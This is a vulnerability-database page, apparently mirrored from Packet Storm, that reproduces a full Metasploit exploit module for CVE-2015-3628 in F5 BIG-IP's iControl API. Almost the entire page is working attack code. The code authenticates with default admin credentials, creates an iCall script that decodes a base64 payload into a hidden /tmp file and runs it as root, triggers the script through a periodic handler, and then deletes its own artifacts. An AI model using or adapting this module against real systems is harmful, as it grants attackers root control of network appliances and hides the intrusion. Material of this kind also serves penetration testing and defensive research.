Lucene search
K

F5 iControl iCall::Script Root Command Execution

🗓️ 19 Nov 2015 00:00:00Reported by Jon HartType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 53 Views

This module exploits an authenticated privilege escalation vulnerability in the iControl API on the F5 BIG-IP LTM. It requires valid credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0

Related
Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'nokogiri'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }  
STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }  
LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => "F5 iControl iCall::Script Root Command Execution",  
'Description' => %q{  
This module exploits an authenticated privilege escalation  
vulnerability in the iControl API on the F5 BIG-IP LTM (and likely  
other F5 devices). This requires valid credentials and the Resource  
Administrator role. The exploit should work on BIG-IP 11.3.0  
- 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references  
for more details)  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'tom', # Discovery, Metasploit module  
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module  
],  
'References' =>  
[  
['CVE', '2015-3628'],  
['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],  
['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']  
],  
'Platform' => ['unix'],  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
['F5 BIG-IP LTM 11.x', {}]  
],  
'Privileged' => true,  
'DisclosureDate' => "Sep 3 2015",  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(443),  
OptBool.new('SSL', [true, 'Use SSL', true]),  
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),  
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])  
])  
register_advanced_options(  
[  
OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),  
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),  
OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),  
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])  
])  
end  
  
def setup  
file = datastore['FILENAME']  
file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"  
@payload_path = ::File.join(datastore['PATH'], file)  
super  
end  
  
def build_xml  
builder = Nokogiri::XML::Builder.new do |xml|  
xml.Envelope do  
xml = xml_add_namespaces(xml)  
xml['soapenv'].Header  
xml['soapenv'].Body do  
yield xml  
end  
end  
end  
builder.to_xml  
end  
  
def xml_add_namespaces(xml)  
ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")  
xml.doc.root.namespace = ns  
xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")  
xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")  
xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")  
xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")  
xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")  
xml  
end  
  
def send_soap_request(pay)  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'POST',  
'data' => pay,  
'username' => datastore['USERNAME'],  
'password' => datastore['PASSWORD']  
)  
if res  
return res  
else  
vprint_error('No response')  
end  
false  
end  
  
def create_script(name, cmd)  
create_xml = build_xml do |xml|  
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do  
xml.scripts(STRING_ATTRS) do  
xml.parent.namespace = xml.parent.parent.namespace_definitions.first  
xml.item name  
end  
xml.definitions(STRING_ATTRS) do  
xml.parent.namespace = xml.parent.parent.namespace_definitions.first  
xml.item cmd  
end  
end  
end  
send_soap_request(create_xml)  
end  
  
def delete_script(script_name)  
delete_xml = build_xml do |xml|  
xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do  
xml.scripts(STRING_ATTRS) do  
xml.parent.namespace = xml.parent.parent.namespace_definitions.first  
xml.item script_name  
end  
end  
end  
print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))  
res  
end  
  
def script_exists?(script_name)  
exists_xml = build_xml do |xml|  
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)  
end  
res = send_soap_request(exists_xml)  
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")  
end  
  
def create_handler(handler_name, script_name)  
print_status("Creating trigger #{handler_name}")  
handler_xml = build_xml do |xml|  
xml['per'].create(SOAPENV_ENCODINGSTYLE) do  
xml.handlers(STRING_ATTRS) do  
xml.parent.namespace = xml.parent.parent.namespace_definitions.first  
xml.item handler_name  
end  
xml.scripts(STRING_ATTRS) do  
xml.parent.namespace = xml.parent.parent.namespace_definitions.first  
xml.item script_name  
end  
xml.intervals(LONG_ATTRS) do  
xml.parent.namespace = xml.parent.parent.namespace_definitions.first  
# we set this to run once every 24h, but because there is no  
# start/end time it will run once, more or less immediately, and  
# again 24h from now, but by that point hopefully we will have  
# cleaned up and the handler/script/etc are gone  
xml.item 60 * 60 * 24  
end  
end  
end  
res = send_soap_request(handler_xml)  
if res  
if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")  
true  
else  
print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")  
false  
end  
else  
print_error("No response to trigger creation")  
false  
end  
end  
  
def delete_handler(handler_name)  
delete_xml = build_xml do |xml|  
xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do  
xml.handlers(STRING_ATTRS) do  
xml.parent.namespace = xml.parent.parent.namespace_definitions.first  
xml.item handler_name  
end  
end  
end  
  
print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml))  
res  
end  
  
def handler_exists?(handler_name)  
handler_xml = build_xml do |xml|  
xml['per'].get_list(SOAPENV_ENCODINGSTYLE)  
end  
res = send_soap_request(handler_xml)  
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")  
end  
  
def check  
# strategy: we'll send a create_script request, with empty name:  
# if everything is ok, the server return a 500 error saying it doesn't like empty names  
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.  
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable  
# any other response is considered not vulnerable  
res = create_script('', '')  
if res && res.code == 500 && res.body =~ /path is empty/  
return Exploit::CheckCode::Appears  
elsif res && res.code == 401  
print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?")  
return Exploit::CheckCode::Unknown  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
# phase 1: create iCall script to create file with payload, execute it and remove it.  
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})  
cmd = %(exec /bin/sh -c "#{shell_cmd}")  
  
arg_max = datastore['ARG_MAX']  
if shell_cmd.size > arg_max  
print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\  
"or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"  
return false  
end  
  
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"  
print_status("Uploading payload script #{script_name}")  
unless (create_script_res = create_script(script_name, cmd))  
print_error("No response when uploading payload script")  
return false  
end  
unless create_script_res.code == 200  
print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\  
"#{create_script_res.code} #{create_script_res.message}")  
return false  
end  
unless script_exists?(script_name)  
print_error("Payload script uploaded successfully but script was not found")  
return false  
end  
register_file_for_cleanup @payload_path  
  
# phase 2: create iCall Handler, that will actually run the previously created script  
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"  
unless create_handler(handler_name, script_name)  
delete_script(script_name)  
return false  
end  
unless handler_exists?(handler_name)  
print_error("Trigger created successfully but was not found")  
delete_script(script_name)  
return false  
end  
print_status('Waiting for payload to execute...')  
  
# if our payload has not been successfully executed just yet, wait  
# until it does or give up  
slept = 0  
until session_created? || slept > datastore['SESSION_WAIT']  
Rex.sleep(1)  
slept += 1  
end  
  
print_status('Trying cleanup...')  
delete_script(script_name)  
delete_handler(handler_name)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation